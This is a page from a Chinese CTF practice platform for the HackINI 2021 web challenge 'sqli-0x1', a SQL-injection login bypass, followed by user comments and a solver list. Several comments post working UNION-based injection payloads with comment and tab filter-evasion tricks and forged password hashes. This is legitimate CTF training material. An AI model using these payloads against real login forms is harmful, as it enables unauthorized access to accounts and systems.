sqli-0x1WEB 未解决

分数: 0 金币: 0
所属赛事: HackINI 2021
题目作者: 未知
一　　血: Aman
一血奖励: 0金币
解　　决: 2801
提　　示: shellmates{********}
描　　述:

SQL injections are still a problem yes, even in 2021.
Bypass the login mechanism and get access to the admin area.

...
登录回复
评论
lola 3月前
举报

user=1'union/**/select/**/1,'4fc82b26aecb47d2868c4efbe3581732a3e7cbcc6c2efb32062c08170a05eeb8$1&pass=1

回复 0
Spotlight 4月前
举报

payload：user=a'union%09select%092,'7d0515bb9407af379e2ab13a58ee470d1f8815f56ffffa07ee5c0136e00fea0d$ttack'--+&pass=hacka

回复 2
Tychema 4月前
举报

为什么这一题不能在表单里面输入提交，必须通过hackbar或者Burp来POST

回复 1
AsanoHoshiya 5月前
举报

很有水平的一道题

回复 0
出题人我会一直让你等着 6月前
举报

admin' UNION SELECT 1, 'admin', '21232f297a57a5a743894a0e4a801fc3'# 为什么这个会被检测出来

回复 1
Zpfhh 7月前
举报

用POST请求这个payload：user=a'union%09select%092,'7d0515bb9407af379e2ab13a58ee470d1f8815f56ffffa07ee5c0136e00fea0d$ttack'--+&pass=hacka 用HackBar工具秒解

回复 1
cfggfbfxdgbb 8月前
举报

我的wp: https://blog.csdn.net/cfggbfxdgbb/article/details/155936538?spm=1001.2014.3001.5502

回复 1
hengdonghui 8月前
举报

格式是： shellmates{********} 不是flag{******}格式。

回复 0
白乐 8月前
举报

如何知道它是SHA-256加密的呢，以及它是如何排列的呢

回复 0
L0GAN 8月前
举报

/?pls_help,审计代码

回复 0
Alune 9月前
举报

加盐密码哈希

回复 0

WriteUp

image
a2cai

2 金币

立即查看

评分(33)

解题动态

admin123413 攻破了该题 1小时前
Mebius 攻破了该题 3小时前
小雨哥 攻破了该题 1天前
帆薯 攻破了该题 1天前
yanzhenfeng 攻破了该题 1天前
AITester 攻破了该题 2天前
我菜我是小白求带 攻破了该题 2天前
Jay. 攻破了该题 2天前
阿呆T1 攻破了该题 2天前
godshen 攻破了该题 2天前
灵梦归希 攻破了该题 3天前
dsdqh699 攻破了该题 3天前
cc.cou 攻破了该题 4天前
AWDAI 攻破了该题 5天前
ICoud 攻破了该题 5天前
jibabenba 攻破了该题 5天前
告别の记忆 攻破了该题 6天前
YHS-Beyond 攻破了该题 6天前
1233333333 攻破了该题 7天前
sjjsyh 攻破了该题 7天前
问题反馈